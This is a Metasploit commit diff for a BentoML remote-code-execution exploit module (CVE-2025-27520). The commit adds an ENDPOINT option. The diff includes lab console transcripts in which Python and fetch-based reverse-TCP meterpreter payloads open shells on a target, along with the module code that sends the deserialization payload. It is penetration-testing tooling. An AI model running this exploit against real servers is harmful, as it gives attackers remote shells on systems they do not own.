Skip to content

Commit edcc306

Browse files
committed
Make user be able to specify a particular endpoint
1 parent 4463bb2 commit edcc306

File tree

2 files changed

+53
-32
lines changed

2 files changed

+53
-32
lines changed

documentation/modules/exploit/linux/http/bentoml_rce_cve_2025_27520.md

Lines changed: 49 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -43,62 +43,81 @@ class Summarization:
4343

4444
## Options
4545

46+
### ENDPOINT (optional)
47+
Endpoint to use.
48+
4649

4750
## Scenarios
51+
52+
### Python payload
4853
```
4954
msf6 > use exploit/linux/http/bentoml_rce_cve_2025_27520
50-
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
55+
[*] Using configured payload python/meterpreter/reverse_tcp
5156
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > options
5257
5358
Module options (exploit/linux/http/bentoml_rce_cve_2025_27520):
5459
55-
Name Current Setting Required Description
56-
---- --------------- -------- -----------
57-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
58-
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
59-
RPORT 3000 yes The target port (TCP)
60-
SSL false no Negotiate SSL/TLS for outgoing connections
61-
VHOST no HTTP server virtual host
62-
63-
64-
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
65-
66-
Name Current Setting Required Description
67-
---- --------------- -------- -----------
68-
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
69-
FETCH_DELETE true yes Attempt to delete the binary after execution
70-
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bas
71-
h, python3.8+)
72-
FETCH_SRVHOST no Local IP to use for serving payload
73-
FETCH_SRVPORT 8080 yes Local port to use for serving payload
74-
FETCH_URIPATH no Local URI to use for serving payload
75-
LHOST yes The listen address (an interface may be specified)
76-
LPORT 4444 yes The listen port
60+
Name Current Setting Required Description
61+
---- --------------- -------- -----------
62+
ENDPOINT no Endpoint to use
63+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
64+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
65+
RPORT 3000 yes The target port (TCP)
66+
SSL false no Negotiate SSL/TLS for outgoing connections
67+
VHOST no HTTP server virtual host
7768
7869
79-
When FETCH_FILELESS is false:
70+
Payload options (python/meterpreter/reverse_tcp):
8071
81-
Name Current Setting Required Description
82-
---- --------------- -------- -----------
83-
FETCH_FILENAME aNHnUjyAfXo no Name to use on remote system when storing payload; cannot contain spaces or slashes
84-
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
72+
Name Current Setting Required Description
73+
---- --------------- -------- -----------
74+
LHOST yes The listen address (an interface may be specified)
75+
LPORT 4444 yes The listen port
8576
8677
8778
Exploit target:
8879
8980
Id Name
9081
-- ----
91-
0 Linux Command
82+
0 Python payload
9283
9384
9485
9586
View the full module info with the info, or info -d command.
9687
88+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Python\ payload
89+
target => Python payload
90+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
91+
[*] Started reverse TCP handler on 192.168.56.1:4444
92+
[*] Running automatic check ("set AutoCheck false" to disable)
93+
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
94+
[*] Use /summarize as api endpoint.
95+
[*] Sending stage (24772 bytes) to 192.168.56.16
96+
[*] Expected error occurred.
97+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:34930) at 2025-04-16 21:44:13 +0900
98+
99+
meterpreter > getuid
100+
Server username: ubu
101+
meterpreter > sysinfo
102+
Computer : vul
103+
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
104+
Architecture : x64
105+
System Language : C
106+
Meterpreter : python/linux
107+
meterpreter >
108+
```
109+
110+
### Linux command
111+
```
112+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Linux\ Command
113+
target => Linux Command
97114
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
98115
[*] Started reverse TCP handler on 192.168.56.1:4444
99116
[*] Running automatic check ("set AutoCheck false" to disable)
100117
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
101-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:32880) at 2025-04-15 22:29:18 +0900
118+
[*] Use /summarize as api endpoint.
119+
[*] Expected error occurred.
120+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:35272) at 2025-04-16 21:45:17 +0900
102121
103122
meterpreter > getuid
104123
Server username: ubu

modules/exploits/linux/http/bentoml_rce_cve_2025_27520.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,7 @@ def initialize(info = {})
6262
register_options(
6363
[
6464
Opt::RPORT(3000),
65+
OptString.new('ENDPOINT', [ false, 'Endpoint to use', ''])
6566
]
6667
)
6768
end
@@ -99,8 +100,9 @@ def find_api_endpoint
99100
end
100101

101102
def exploit
102-
@api_endpoint ||= find_api_endpoint
103-
fail_with(Failure::Unknown, 'No vulnerable api endpoint.') unless @api_endpoint
103+
@api_endpoint = datastore['ENDPOINT'].empty? ? find_api_endpoint : datastore['ENDPOINT']
104+
fail_with(Failure::Unknown, 'No endpoint specified or no vulnerable api endpoint found.') unless @api_endpoint
105+
print_status("Use #{@api_endpoint} as api endpoint.")
104106

105107
if target['Type'] == :python
106108
data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)

0 commit comments

Comments
 (0)